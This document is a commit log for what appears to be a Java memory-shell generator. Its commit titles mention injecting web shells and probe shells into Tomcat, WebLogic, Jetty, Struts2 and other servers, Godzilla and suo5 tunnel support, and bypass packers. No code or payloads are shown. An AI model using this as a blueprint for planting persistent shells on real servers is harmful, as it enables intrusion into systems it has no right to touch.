Compare commits

..
928 Commits
Author SHA1 Message Date
ReaJason 009c70d8d6 chore: 2.7.1 2026-05-24 22:29:57 +08:00
ReaJason fce2b11128 test: fix failed case 2026-05-24 22:28:22 +08:00
ReaJason 8b3f285002 docs: update 2026-05-24 22:28:22 +08:00
ReaJason 0a9a68ee7f fix: SpELGzipPacker class not found 2026-05-24 22:28:22 +08:00
ReaJason f0472d231b chore: upgrade deps 2026-05-24 22:28:22 +08:00
ReaJason 4061c61c29 test: add some basicInfo 2026-05-24 22:28:22 +08:00
ReaJason 8664e0d45a fix: tongweb 7.0.4.9 probe fail 2026-05-24 22:28:22 +08:00
ReaJason 59dc5ba5fc fix: bes11 probe failed 2026-05-24 22:28:22 +08:00
ReaJason 01c939ee18 chore: 2.7.1-SNAPSHOT 2026-05-24 22:28:22 +08:00
ReaJason b0800f0a0b fix: rename struct2 -> struts2 2026-05-24 22:28:22 +08:00
ReaJason dbd9687003 ci: upgrade actions
Docker Build Test / docker-build-test (push) Has been cancelled
MemShell IntegrationTest / xxljob (push) Has been cancelled
MemShell IntegrationTest / springwebmvc (push) Has been cancelled
MemShell IntegrationTest / springwebflux (push) Has been cancelled
MemShell IntegrationTest / struct2 (push) Has been cancelled
MemShell IntegrationTest / tomcat (push) Has been cancelled
MemShell IntegrationTest / glassfish (push) Has been cancelled
MemShell IntegrationTest / jbosseap (push) Has been cancelled
MemShell IntegrationTest / jetty (push) Has been cancelled
MemShell IntegrationTest / payara (push) Has been cancelled
MemShell IntegrationTest / wildfly (push) Has been cancelled
MemShell IntegrationTest / jbossas (push) Has been cancelled
MemShell IntegrationTest / resin (push) Has been cancelled
MemShell IntegrationTest / weblogic (push) Has been cancelled
MemShell IntegrationTest / websphere7 (push) Has been cancelled
MemShell IntegrationTest / websphere (push) Has been cancelled
Unit-Test / UniteTest (push) Has been cancelled
2026-04-26 22:57:39 +08:00
ReaJason 886c37d8c2 chore: 2.7.0 2026-04-26 22:39:30 +08:00
ReaJason 06feb3fe14 docs: update CHANGELOG 2026-04-26 21:33:15 +08:00
ReaJason cb195715c0 fix: assertion failed 2026-04-26 21:33:15 +08:00
ReaJason 036887d806 fix: try fix windows build failed 2026-04-26 21:33:15 +08:00
ReaJason 11794f9465 build: fumadoc build failed 2026-04-26 21:33:15 +08:00
ReaJason e7e97089ce chore: 2.6.2-SNAPSHOT 2026-04-26 21:33:15 +08:00
ReaJason ee560ff7ee style: fmt code 2026-04-26 21:33:15 +08:00
ReaJason d10323a054 feat: support Alibaba & Apache dubbo service 2026-04-26 21:33:15 +08:00
ReaJason 016d0d5bbe chore: use tomcat-embed-core dep 2026-04-26 21:33:15 +08:00
ReaJason 666aed90c3 feat: support command base64 encryptor 2026-04-26 21:33:15 +08:00
ReaJason 8962c855c9 feat: support agent attacher list java processes and attach all 2026-04-26 21:33:15 +08:00
ReaJason 8b66a83028 test: fix failed cases
Docker Build Test / docker-build-test (push) Has been cancelled
MemShell IntegrationTest / xxljob (push) Has been cancelled
MemShell IntegrationTest / springwebmvc (push) Has been cancelled
MemShell IntegrationTest / springwebflux (push) Has been cancelled
MemShell IntegrationTest / struct2 (push) Has been cancelled
MemShell IntegrationTest / tomcat (push) Has been cancelled
MemShell IntegrationTest / glassfish (push) Has been cancelled
MemShell IntegrationTest / jbosseap (push) Has been cancelled
MemShell IntegrationTest / jetty (push) Has been cancelled
MemShell IntegrationTest / payara (push) Has been cancelled
MemShell IntegrationTest / wildfly (push) Has been cancelled
MemShell IntegrationTest / jbossas (push) Has been cancelled
MemShell IntegrationTest / resin (push) Has been cancelled
MemShell IntegrationTest / weblogic (push) Has been cancelled
MemShell IntegrationTest / websphere7 (push) Has been cancelled
MemShell IntegrationTest / websphere (push) Has been cancelled
Probe IntegrationTest / springwebmvc (push) Has been cancelled
Probe IntegrationTest / struct2 (push) Has been cancelled
Probe IntegrationTest / tomcat (push) Has been cancelled
Probe IntegrationTest / glassfish (push) Has been cancelled
Probe IntegrationTest / jbosseap (push) Has been cancelled
Probe IntegrationTest / jetty (push) Has been cancelled
Probe IntegrationTest / payara (push) Has been cancelled
Probe IntegrationTest / wildfly (push) Has been cancelled
Probe IntegrationTest / jbossas (push) Has been cancelled
Probe IntegrationTest / resin (push) Has been cancelled
Probe IntegrationTest / weblogic (push) Has been cancelled
Probe IntegrationTest / websphere7 (push) Has been cancelled
Probe IntegrationTest / websphere (push) Has been cancelled
Unit-Test / UniteTest (push) Has been cancelled
2026-03-30 22:45:07 +08:00
ReaJason 29b17728f3 ci: downgrade integration-test runner 2026-03-30 22:26:48 +08:00
ReaJason 1645c12b0a build: ui not found 2026-03-30 22:18:03 +08:00
ReaJason a034543689 chore: 2.6.1 2026-03-30 22:01:30 +08:00
ReaJason ba53112010 feat: upgrade docs 2026-03-30 21:55:55 +08:00
ReaJason a11b41d403 chore: upgrade deps 2026-03-30 21:55:35 +08:00
ReaJason 1643a97a92 fix: proxy OOM 2026-03-30 21:26:45 +08:00
ReaJason 8d65f0a0d9 fix: controller cannot click generate button 2026-03-30 21:26:45 +08:00
ReaJason 0f86393c7d chore: 2.6.0
Docker Build Test / docker-build-test (push) Has been cancelled
MemShell IntegrationTest / xxljob (push) Has been cancelled
MemShell IntegrationTest / springwebmvc (push) Has been cancelled
MemShell IntegrationTest / springwebflux (push) Has been cancelled
MemShell IntegrationTest / struct2 (push) Has been cancelled
MemShell IntegrationTest / tomcat (push) Has been cancelled
MemShell IntegrationTest / glassfish (push) Has been cancelled
MemShell IntegrationTest / jbosseap (push) Has been cancelled
MemShell IntegrationTest / jetty (push) Has been cancelled
MemShell IntegrationTest / payara (push) Has been cancelled
MemShell IntegrationTest / wildfly (push) Has been cancelled
MemShell IntegrationTest / jbossas (push) Has been cancelled
MemShell IntegrationTest / resin (push) Has been cancelled
MemShell IntegrationTest / weblogic (push) Has been cancelled
MemShell IntegrationTest / websphere7 (push) Has been cancelled
MemShell IntegrationTest / websphere (push) Has been cancelled
Unit-Test / UniteTest (push) Has been cancelled
2026-02-08 20:53:50 +08:00
ReaJason cff1c34940 docs: update CHANGELOG 2026-02-08 20:44:00 +08:00
ReaJason 6c133b252b chore: upgrade deps 2026-02-08 20:44:00 +08:00
ReaJason 757c3e6b41 Revert "test: vul-webapp failed in servlet 2.3"
This reverts commit 93971fc66c.
2026-02-08 20:44:00 +08:00
ReaJason 0d20cf4254 feat: support resin2 agent shell 2026-02-08 20:44:00 +08:00
ReaJason 58a89f8953 test: vul-webapp failed in servlet 2.3 2026-02-08 20:44:00 +08:00
ReaJason 874bd29527 refactor: rm jsp generic syntax 2026-02-08 20:44:00 +08:00
ReaJason 956c7c086d build: add publishAllToMavenLocal task 2026-02-08 20:44:00 +08:00
ReaJason fddfc19ec5 refactor: use Suo5V2Loader 2026-02-08 20:44:00 +08:00
zema1 0fccf65d1b feat: sync suo5 v2.1.0 2026-02-08 20:44:00 +08:00
ReaJason 282847d0a8 refactor: simplify code 2026-02-08 20:44:00 +08:00
ReaJason a044e3777b feat: add postProcessBytes for ByteBuddyShellGenerator 2026-02-08 20:44:00 +08:00
ReaJason 4c8343c86f fix: method body write failed with jakarta renamed
ByteBuddy Advice cache the class method list at first, the method signature will be changed when use jakarta rename, if follow advice need enhance the javax method, it will not find method signature. because ByteBuddy cached javax method, but follow advice need find the jakarta method, boom~
2026-02-08 20:44:00 +08:00
ReaJason 58041fa0b5 chore: 2.5.1-SNAPSHOT 2026-02-08 20:44:00 +08:00
ReaJason d1782309c1 fix(ui): prevent-duplicate-clicks not work 2026-02-08 20:44:00 +08:00
ReaJason 841909fa64 chore: upgrade deps 2026-02-08 20:44:00 +08:00
ReaJason 61d64885e8 chore: 2.5.0
Docker Build Test / docker-build-test (push) Has been cancelled
MemShell IntegrationTest / xxljob (push) Has been cancelled
MemShell IntegrationTest / springwebmvc (push) Has been cancelled
MemShell IntegrationTest / springwebflux (push) Has been cancelled
MemShell IntegrationTest / struct2 (push) Has been cancelled
MemShell IntegrationTest / tomcat (push) Has been cancelled
MemShell IntegrationTest / glassfish (push) Has been cancelled
MemShell IntegrationTest / jbosseap (push) Has been cancelled
MemShell IntegrationTest / jetty (push) Has been cancelled
MemShell IntegrationTest / payara (push) Has been cancelled
MemShell IntegrationTest / wildfly (push) Has been cancelled
MemShell IntegrationTest / jbossas (push) Has been cancelled
MemShell IntegrationTest / resin (push) Has been cancelled
MemShell IntegrationTest / weblogic (push) Has been cancelled
MemShell IntegrationTest / websphere7 (push) Has been cancelled
MemShell IntegrationTest / websphere (push) Has been cancelled
Probe IntegrationTest / springwebmvc (push) Has been cancelled
Probe IntegrationTest / struct2 (push) Has been cancelled
Probe IntegrationTest / tomcat (push) Has been cancelled
Probe IntegrationTest / glassfish (push) Has been cancelled
Probe IntegrationTest / jbosseap (push) Has been cancelled
Probe IntegrationTest / jetty (push) Has been cancelled
Probe IntegrationTest / payara (push) Has been cancelled
Probe IntegrationTest / wildfly (push) Has been cancelled
Probe IntegrationTest / jbossas (push) Has been cancelled
Probe IntegrationTest / resin (push) Has been cancelled
Probe IntegrationTest / weblogic (push) Has been cancelled
Probe IntegrationTest / websphere7 (push) Has been cancelled
Probe IntegrationTest / websphere (push) Has been cancelled
Unit-Test / UniteTest (push) Has been cancelled
2026-01-19 00:28:52 +08:00
ReaJason 156db39643 test: skip tomcat7 ws 2026-01-19 00:18:15 +08:00
ReaJason bb317eadfd build: image not found 2026-01-18 23:52:39 +08:00
ReaJason 2d57a702d7 chore: upgrade deps 2026-01-18 23:49:41 +08:00
ReaJason 76a4fe0bc0 test: add empty component 2026-01-18 23:49:41 +08:00
ReaJason 867c2004bc docs: update changelog 2026-01-18 23:49:41 +08:00
ReaJason d3cf8c4560 test: jetty6 start failed 2026-01-18 23:49:41 +08:00
ReaJason a84e242d42 test: jdk assert error 2026-01-18 23:49:41 +08:00
ReaJason 8c14631478 refactor: probe integration-test 2026-01-18 23:49:41 +08:00
ReaJason ca8f303444 test: probe not work 2026-01-18 23:49:41 +08:00
ReaJason 0279d6cc0b fix: NPE 2026-01-18 23:49:41 +08:00
ReaJason e9d60152b1 fix: weblogic upload jsp failed 2026-01-18 23:49:41 +08:00
ReaJason c0c78c4372 feat: add jsp unicode packer 2026-01-18 23:49:41 +08:00
ReaJason 686be6b59a refactor: memshell integration-test 2026-01-18 23:49:41 +08:00
ReaJason cc706ec3af test: skip proxy 2026-01-18 23:49:41 +08:00
ReaJason 4ec1f06362 feat: support ws proxy 2026-01-18 23:49:41 +08:00
ReaJason 54be0712d5 test: add filter 2026-01-18 23:49:41 +08:00
ReaJason 548990b7cc refactor: change godzilla websocket base64 to raw 2026-01-18 23:49:41 +08:00
ReaJason 0296705a87 docs: add some highlights 2026-01-18 23:49:41 +08:00
ReaJason 5b0305be37 feat: add proxy ws 2026-01-18 23:49:41 +08:00
ReaJason 8a059d9b6f docs: add websocket usage 2026-01-18 23:49:41 +08:00
ReaJason a60dc84356 refactor: rename test case 2026-01-18 23:49:41 +08:00
ReaJason 5b5c225edb feat: support Tomcat Command WebSocketBypassNginx 2026-01-18 23:49:41 +08:00
ReaJason 8458becfbc refactor: rename asserts to assets 2026-01-18 23:49:41 +08:00
ReaJason aea03800c7 refactor: change field location 2026-01-18 23:49:41 +08:00
ReaJason ca304c600d feat(ui): add targetJdkVersion field 2026-01-18 23:49:41 +08:00
ReaJason 33753844a7 refactor(ui): change serverVersion field localtion 2026-01-18 23:49:41 +08:00
ReaJason 9620076443 fix(ui): file input height error 2026-01-18 23:49:41 +08:00
ReaJason 9edab88267 refactor: optimize import 2026-01-18 23:49:41 +08:00
ReaJason d0604a1b64 chore: 2.4.3-SNAPSHOT 2026-01-18 23:49:41 +08:00
ReaJason 34f77c134a feat: add jakarta-api deps 2026-01-18 23:49:41 +08:00
ReaJason 5bb6e42b3c feat: shellConfig support set isJakarta field 2026-01-18 23:49:41 +08:00
ReaJason 2bcd00e9c4 build: autoRelease and validateComponents 2026-01-18 23:49:41 +08:00
ReaJason 258e87b00e ci: update ci
Docker Build Test / docker-build-test (push) Has been cancelled
2026-01-13 20:34:36 +08:00
ReaJason 61fdeba1b0 ci: add test workflow 2026-01-13 20:29:05 +08:00
ReaJason eedee34660 chore: 2.4.2
Docker Build Test / docker-build-test (push) Has been cancelled
MemShell IntegrationTest / xxljob (push) Has been cancelled
MemShell IntegrationTest / springwebmvc (push) Has been cancelled
MemShell IntegrationTest / springwebflux (push) Has been cancelled
MemShell IntegrationTest / struct2 (push) Has been cancelled
MemShell IntegrationTest / tomcat (push) Has been cancelled
MemShell IntegrationTest / glassfish (push) Has been cancelled
MemShell IntegrationTest / jbosseap (push) Has been cancelled
MemShell IntegrationTest / jetty (push) Has been cancelled
MemShell IntegrationTest / payara (push) Has been cancelled
MemShell IntegrationTest / wildfly (push) Has been cancelled
MemShell IntegrationTest / jbossas (push) Has been cancelled
MemShell IntegrationTest / resin (push) Has been cancelled
MemShell IntegrationTest / weblogic (push) Has been cancelled
MemShell IntegrationTest / websphere7 (push) Has been cancelled
MemShell IntegrationTest / websphere (push) Has been cancelled
Probe IntegrationTest / springwebmvc (push) Has been cancelled
Probe IntegrationTest / struct2 (push) Has been cancelled
Probe IntegrationTest / tomcat (push) Has been cancelled
Probe IntegrationTest / glassfish (push) Has been cancelled
Probe IntegrationTest / jbosseap (push) Has been cancelled
Probe IntegrationTest / jetty (push) Has been cancelled
Probe IntegrationTest / payara (push) Has been cancelled
Probe IntegrationTest / wildfly (push) Has been cancelled
Probe IntegrationTest / jbossas (push) Has been cancelled
Probe IntegrationTest / resin (push) Has been cancelled
Probe IntegrationTest / weblogic (push) Has been cancelled
Probe IntegrationTest / websphere7 (push) Has been cancelled
Probe IntegrationTest / websphere (push) Has been cancelled
Unit-Test / UniteTest (push) Has been cancelled
2026-01-12 02:21:44 +08:00
ReaJason 8edc865b69 chore: update libs 2026-01-12 02:12:34 +08:00
ReaJason d5390db369 docs: update changelog 2026-01-12 02:12:34 +08:00
ReaJason e9dfd5085e fix: NPE 2026-01-12 02:12:34 +08:00
ReaJason c51b4e11dc fix: context not found test not work 2026-01-12 02:12:34 +08:00
ReaJason 726690ede1 feat: support FilterProbe generate 2026-01-12 02:12:34 +08:00
ReaJason 29852ecf55 refactor: simplify code 2026-01-12 02:12:34 +08:00
ReaJason 36085b3c93 feat: support servletNameFilter 2026-01-12 02:12:34 +08:00
ReaJason 729dd8d166 feat: support servletNameFilter for WebLogicFilterProbe 2026-01-12 02:12:34 +08:00
ReaJason 12f9dbe432 feat: support servletNameFilter for UndertowFilterProbe 2026-01-12 02:12:34 +08:00
ReaJason 80f91f9d6f feat: support servletNameFilter for GlassFishFilterProbe 2026-01-12 02:12:34 +08:00
ReaJason ee07687b4f feat: support servletNameFilter for JettyFilterProbe 2026-01-12 02:12:34 +08:00
ReaJason 9d5c5a1ddf feat: support servletNameFilter for TomcatFilterProbe 2026-01-12 02:12:34 +08:00
ReaJason 86738e308d chore: add libs git submodule 2026-01-12 02:12:34 +08:00
ReaJason 093d491219 feat: support addFilterFirst for WebSphere 2026-01-12 02:12:34 +08:00
ReaJason 86ef0aafcb feat: support filterProbe for WebLogic 2026-01-12 02:12:34 +08:00
ReaJason afe22ca83f refactor: simplify WebLogic getContext 2026-01-12 02:12:34 +08:00
ReaJason cfc8fac0b1 feat: support addFilterFirst for TongWeb 2026-01-12 02:12:34 +08:00
ReaJason e828bb92b6 feat: support addFilterFirst for Apusic/InforSuite 2026-01-12 02:12:34 +08:00
ReaJason f170ca4514 refactor: use commonUtil for packageName 2026-01-12 02:12:34 +08:00
ReaJason 4ae264a091 fix: classNotFound 2026-01-12 02:12:34 +08:00
ReaJason 4db6739436 feat: support addFilterFirst for GlassFish 2026-01-12 02:12:34 +08:00
ReaJason 0c7de5bf7f test: add JBossAS filterProbe test 2026-01-12 02:12:34 +08:00
ReaJason 62a48b8937 feat: support addFilterFirst for undertow 2026-01-12 02:12:34 +08:00
ReaJason 9cb35aed9e fix: undertow filter cache 2026-01-12 02:12:34 +08:00
ReaJason e9b9099d49 feat: support addFilterFirst for resin 2026-01-12 02:12:34 +08:00
ReaJason bab98f7995 refactor: simplify code 2026-01-12 02:12:34 +08:00
ReaJason 9483e07e69 refactor: simplify code 2026-01-12 02:12:34 +08:00
ReaJason fea1c0d18e feat: support addFilterFirst for jetty 2026-01-12 02:12:34 +08:00
ReaJason aa1c4b3d13 test: support remote docker runner 2026-01-12 02:12:34 +08:00
ReaJason f86a9d8ee2 test: add classes 2026-01-12 02:12:34 +08:00
ReaJason 20ee99a82d test: fix GlassFish filter 2026-01-12 02:12:34 +08:00
ReaJason 579d9a74c0 build: use pip mirror 2026-01-12 02:12:34 +08:00
ReaJason a020ed587c chore: upgrade deps 2026-01-12 02:12:34 +08:00
ReaJason c121d91781 refactor: change method order 2026-01-12 02:12:34 +08:00
ReaJason 6416d7b806 feat: support addFilterFirst for tomcat 2026-01-12 02:12:34 +08:00
ReaJason 40c068a9e5 ci: test build on windows 2026-01-12 02:12:34 +08:00
ReaJason c4bf33bb13 feat: support open-liberty javaee 2026-01-12 02:12:34 +08:00
ReaJason 7c0942947c docs: add WIP structure 2026-01-12 02:12:34 +08:00
ReaJason 2828a927ec docs: add shellType table 2026-01-12 02:12:34 +08:00
ReaJason 5ffbbc40d8 test: add more cases 2026-01-12 02:12:34 +08:00
ReaJason 71911fd4e3 chore: 2.4.2-SNAPSHOT 2026-01-12 02:12:34 +08:00
ReaJason 717d887acc fix: sub ui.data not found 2026-01-12 02:12:34 +08:00
ReaJason cbfa3ba3da docs: update changelog
Docker Build Test / docker-build-test (push) Has been cancelled
MemShell IntegrationTest / xxljob (push) Has been cancelled
MemShell IntegrationTest / springwebmvc (push) Has been cancelled
MemShell IntegrationTest / springwebflux (push) Has been cancelled
MemShell IntegrationTest / struct2 (push) Has been cancelled
MemShell IntegrationTest / tomcat (push) Has been cancelled
MemShell IntegrationTest / glassfish (push) Has been cancelled
MemShell IntegrationTest / jbosseap (push) Has been cancelled
MemShell IntegrationTest / jetty (push) Has been cancelled
MemShell IntegrationTest / payara (push) Has been cancelled
MemShell IntegrationTest / wildfly (push) Has been cancelled
MemShell IntegrationTest / jbossas (push) Has been cancelled
MemShell IntegrationTest / resin (push) Has been cancelled
MemShell IntegrationTest / weblogic (push) Has been cancelled
MemShell IntegrationTest / websphere7 (push) Has been cancelled
MemShell IntegrationTest / websphere (push) Has been cancelled
Probe IntegrationTest / springwebmvc (push) Has been cancelled
Probe IntegrationTest / struct2 (push) Has been cancelled
Probe IntegrationTest / tomcat (push) Has been cancelled
Probe IntegrationTest / glassfish (push) Has been cancelled
Probe IntegrationTest / jbosseap (push) Has been cancelled
Probe IntegrationTest / jetty (push) Has been cancelled
Probe IntegrationTest / payara (push) Has been cancelled
Probe IntegrationTest / wildfly (push) Has been cancelled
Probe IntegrationTest / jbossas (push) Has been cancelled
Probe IntegrationTest / resin (push) Has been cancelled
Probe IntegrationTest / weblogic (push) Has been cancelled
Probe IntegrationTest / websphere7 (push) Has been cancelled
Probe IntegrationTest / websphere (push) Has been cancelled
Unit-Test / UniteTest (push) Has been cancelled
2025-12-16 21:59:39 +08:00
ReaJason cb99dcab6c chore: 2.4.1 2025-12-16 21:56:18 +08:00
ReaJason 986208304d docs: update changelog 2025-12-16 21:55:21 +08:00
ReaJason 28c12102c2 refactor: migrate radix-ui to base-ui 2025-12-16 21:55:21 +08:00
ReaJason 0a5cadf64a docs: update 2025-12-16 21:55:21 +08:00
ReaJason 9127b4668c fix: context not found in fr v11 2025-12-16 21:55:21 +08:00
ReaJason 41e8bd7ba0 Revert "fix: close respOutputStream in finally"
This reverts commit 25e4086241.
2025-12-16 21:55:21 +08:00
ReaJason 52ac025bfa docs: add springweb intro 2025-12-16 21:55:21 +08:00
ReaJason 638cb2f90c docs: fix typo 2025-12-16 21:55:21 +08:00
ReaJason c27c580943 chore: upgrade deps 2025-12-16 21:55:21 +08:00
ReaJason 3c646b9104 style: format code 2025-12-16 21:55:21 +08:00
ReaJason 1fb2942246 feat: add tooltip for paramName 2025-12-16 21:55:21 +08:00
ReaJason d51f7c1283 feat: add tooltip for switch 2025-12-16 21:55:21 +08:00
ReaJason db85ec4bee docs: add more docs 2025-12-16 21:55:21 +08:00
ReaJason 0097984b33 fix: close respOutputStream in finally 2025-12-16 21:55:21 +08:00
ReaJason c623897a80 docs: add more docs 2025-12-16 21:55:21 +08:00
ReaJason 9d3fc4d738 fix: shell connect failed due to empty body 2025-12-16 21:55:21 +08:00
ReaJason 395ca3caa0 fix: response body write failed when getOutputStream already called 2025-12-16 21:55:21 +08:00
ReaJason 6582ab87c0 fix: throwable.printStackTrace not removed in debug off mode 2025-12-16 21:55:21 +08:00
ReaJason ffb8313811 docs: add memshell-core-config mdx 2025-12-16 21:55:21 +08:00
ReaJason 37ed3b0dee chore: simplify deps 2025-12-16 21:55:21 +08:00
ReaJason ede4b122a9 docs: add godzilla 2025-12-16 21:55:21 +08:00
ReaJason eba4b82464 feat(ui): add image-zoom 2025-12-16 21:55:21 +08:00
zema1 52f82d7979 fix: close response outputstream in suo5v2
Docker Build Test / docker-build-test (push) Has been cancelled
MemShell IntegrationTest / xxljob (push) Has been cancelled
MemShell IntegrationTest / springwebmvc (push) Has been cancelled
MemShell IntegrationTest / springwebflux (push) Has been cancelled
MemShell IntegrationTest / struct2 (push) Has been cancelled
MemShell IntegrationTest / tomcat (push) Has been cancelled
MemShell IntegrationTest / glassfish (push) Has been cancelled
MemShell IntegrationTest / jbosseap (push) Has been cancelled
MemShell IntegrationTest / jetty (push) Has been cancelled
MemShell IntegrationTest / payara (push) Has been cancelled
MemShell IntegrationTest / wildfly (push) Has been cancelled
MemShell IntegrationTest / jbossas (push) Has been cancelled
MemShell IntegrationTest / resin (push) Has been cancelled
MemShell IntegrationTest / weblogic (push) Has been cancelled
MemShell IntegrationTest / websphere7 (push) Has been cancelled
MemShell IntegrationTest / websphere (push) Has been cancelled
Unit-Test / UniteTest (push) Has been cancelled
2025-12-14 18:45:58 +08:00
zema1 d3727d7d3e feat: remove uneeded code 2025-12-14 18:45:58 +08:00
ReaJason 1515011026 chore: 2.4.0
Docker Build Test / docker-build-test (push) Has been cancelled
MemShell IntegrationTest / xxljob (push) Has been cancelled
MemShell IntegrationTest / springwebmvc (push) Has been cancelled
MemShell IntegrationTest / springwebflux (push) Has been cancelled
MemShell IntegrationTest / struct2 (push) Has been cancelled
MemShell IntegrationTest / tomcat (push) Has been cancelled
MemShell IntegrationTest / glassfish (push) Has been cancelled
MemShell IntegrationTest / jbosseap (push) Has been cancelled
MemShell IntegrationTest / jetty (push) Has been cancelled
MemShell IntegrationTest / payara (push) Has been cancelled
MemShell IntegrationTest / wildfly (push) Has been cancelled
MemShell IntegrationTest / jbossas (push) Has been cancelled
MemShell IntegrationTest / resin (push) Has been cancelled
MemShell IntegrationTest / weblogic (push) Has been cancelled
MemShell IntegrationTest / websphere7 (push) Has been cancelled
MemShell IntegrationTest / websphere (push) Has been cancelled
Probe IntegrationTest / springwebmvc (push) Has been cancelled
Probe IntegrationTest / struct2 (push) Has been cancelled
Probe IntegrationTest / tomcat (push) Has been cancelled
Probe IntegrationTest / glassfish (push) Has been cancelled
Probe IntegrationTest / jbosseap (push) Has been cancelled
Probe IntegrationTest / jetty (push) Has been cancelled
Probe IntegrationTest / payara (push) Has been cancelled
Probe IntegrationTest / wildfly (push) Has been cancelled
Probe IntegrationTest / jbossas (push) Has been cancelled
Probe IntegrationTest / resin (push) Has been cancelled
Probe IntegrationTest / weblogic (push) Has been cancelled
Probe IntegrationTest / websphere7 (push) Has been cancelled
Probe IntegrationTest / websphere (push) Has been cancelled
Unit-Test / UniteTest (push) Has been cancelled
2025-12-10 02:10:59 +08:00
ReaJason 13cafb19a6 docs: update changelog 2025-12-10 02:10:34 +08:00
ReaJason 478b214a2c docs: add suo5 usage 2025-12-10 02:09:13 +08:00
ReaJason 0ccd375fd7 fix: rm jar package for probe shell 2025-12-10 02:09:13 +08:00
ReaJason 14a1e0358e feat: support suo5 v2 jetty customizer 2025-12-10 02:09:13 +08:00
ReaJason c71a6c5a79 feat: support suo5 v2 shell 2025-12-10 02:09:13 +08:00
ReaJason 9bfa58cbd4 feat: support struct2 memshell and probeshell 2025-12-10 02:09:13 +08:00
ReaJason 6628a74daa ci: release ci broken
Docker Build Test / docker-build-test (push) Has been cancelled
MemShell IntegrationTest / xxljob (push) Has been cancelled
MemShell IntegrationTest / springwebmvc (push) Has been cancelled
MemShell IntegrationTest / springwebflux (push) Has been cancelled
MemShell IntegrationTest / tomcat (push) Has been cancelled
MemShell IntegrationTest / glassfish (push) Has been cancelled
MemShell IntegrationTest / jbosseap (push) Has been cancelled
MemShell IntegrationTest / jetty (push) Has been cancelled
MemShell IntegrationTest / payara (push) Has been cancelled
MemShell IntegrationTest / wildfly (push) Has been cancelled
MemShell IntegrationTest / jbossas (push) Has been cancelled
MemShell IntegrationTest / resin (push) Has been cancelled
MemShell IntegrationTest / weblogic (push) Has been cancelled
MemShell IntegrationTest / websphere7 (push) Has been cancelled
MemShell IntegrationTest / websphere (push) Has been cancelled
Probe IntegrationTest / springwebmvc (push) Has been cancelled
Probe IntegrationTest / springwebflux (push) Has been cancelled
Probe IntegrationTest / tomcat (push) Has been cancelled
Probe IntegrationTest / glassfish (push) Has been cancelled
Probe IntegrationTest / jbosseap (push) Has been cancelled
Probe IntegrationTest / jetty (push) Has been cancelled
Probe IntegrationTest / payara (push) Has been cancelled
Probe IntegrationTest / wildfly (push) Has been cancelled
Probe IntegrationTest / jbossas (push) Has been cancelled
Probe IntegrationTest / resin (push) Has been cancelled
Probe IntegrationTest / weblogic (push) Has been cancelled
Probe IntegrationTest / websphere7 (push) Has been cancelled
Probe IntegrationTest / websphere (push) Has been cancelled
Unit-Test / UniteTest (push) Has been cancelled
2025-12-08 02:32:56 +08:00
ReaJason dfa5a412ff chore: 2.3.0 2025-12-08 02:28:02 +08:00
ReaJason e5707bd204 build: change dev port 2025-12-08 02:26:31 +08:00
ReaJason 9328fa08cd ci: api changed 2025-12-08 02:23:52 +08:00
ReaJason 2d6910895c build: react-router failed 2025-12-08 02:20:18 +08:00
ReaJason fb080b3264 build: source.config.ts not found 2025-12-08 02:08:37 +08:00
ReaJason 578271effb build: bun.lockb not found 2025-12-08 01:48:43 +08:00
ReaJason 7c85af5007 docs: update README 2025-12-08 01:45:54 +08:00
ReaJason 3fdaa22ccd docs: rm useless docs 2025-12-08 01:44:36 +08:00
ReaJason aa1d9bb69d docs: move folder 2025-12-08 01:43:41 +08:00
ReaJason e9f16ca32e build: custom base path not work 2025-12-08 01:43:41 +08:00
ReaJason 95046169ed fix: container not ready 2025-12-08 01:43:41 +08:00
ReaJason 1db5c52307 feat: support probe paramName optional 2025-12-08 01:43:41 +08:00
ReaJason 056032cae7 feat: support command probe template 2025-12-08 01:43:41 +08:00
ReaJason f77c829f4e chore: unify color theme 2025-12-08 01:43:41 +08:00
ReaJason 544706352a feat: support command template 2025-12-08 01:43:41 +08:00
ReaJason f1d42a9b3c fix: wrong jetty handler will disrupt service 2025-12-08 01:43:41 +08:00
ReaJason b725ca3e67 refactor: use processors 2025-12-08 01:43:41 +08:00
ReaJason 2ac2c845de feat: support tomcat upgrade 2025-12-08 01:43:41 +08:00
ReaJason ccc6bd0c91 test: add jboss eap-8.1 cases 2025-12-08 01:43:41 +08:00
ReaJason d9c1828a5c fix: container not ready 2025-12-08 01:43:41 +08:00
ReaJason 1e2069d869 test: simplify payload 2025-12-08 01:43:41 +08:00
ReaJason 45f6949940 test: wait for /app 2025-12-08 01:43:41 +08:00
ReaJason d4e7a25255 feat: support GroovyTransformJar packer 2025-12-08 01:43:41 +08:00
ReaJason c5cdb03a9f test: fix failed cases 2025-12-08 01:43:41 +08:00
ReaJason 772a8b5cb0 fix: injector msg is empty 2025-12-08 01:43:41 +08:00
ReaJason cefd7147bf feat: support jetty ee responseBodyProbe 2025-12-08 01:43:41 +08:00
ReaJason 1bb42819b5 feat: bytecode probe support gzip 2025-12-08 01:43:41 +08:00
ReaJason ba3900f366 perf: probe shell only run once 2025-12-08 01:43:41 +08:00
ReaJason 92e8b83313 feat: support probe mode 2025-12-08 01:43:41 +08:00
ReaJason 36236653bd feat: support appendLambdaSuffix 2025-12-08 01:43:41 +08:00
ReaJason 30dd253565 fix: ui not rendered 2025-12-08 01:43:41 +08:00
ReaJason ca123e2871 test: fix failed cases 2025-12-08 01:43:41 +08:00
ReaJason 6da52b2387 ci: setup node 22 2025-12-08 01:43:41 +08:00
ReaJason ca1d567ce7 feat: support fumadocs 2025-12-08 01:43:41 +08:00
ReaJason 8b71ca9911 test: add jdk11 scriptEngine test case 2025-12-08 01:43:41 +08:00
ReaJason 73b5bc7114 perf: run only once 2025-12-08 01:43:41 +08:00
ReaJason 74447786f2 fix: bes 9.5.1 agent shell not work 2025-12-08 01:43:41 +08:00
ReaJason a241e2e28f chore: version 2.3.0-SNAPSHOT 2025-12-08 01:43:41 +08:00
ReaJason 4e8daa4662 fix(ui): hide urlPatternField for customizer 2025-12-08 01:43:41 +08:00
ReaJason bee0f6596f fix: typo 2025-12-08 01:43:41 +08:00
ReaJason 5a92bd9944 feat: support jetty customizer shell 2025-12-08 01:43:41 +08:00
ReaJason 7c3a63902b chore: change jetty to undertow 2025-12-08 01:43:41 +08:00
ReaJason 5541159c98 feat: add scriptEngineBypassModule packer 2025-12-08 01:43:41 +08:00
ReaJason 827d8af2f1 refactor: simplify fetch context from spring 2025-12-08 01:43:41 +08:00
ReaJason f4a16e5d37 feat: support jetty handler shell 2025-12-08 01:43:41 +08:00
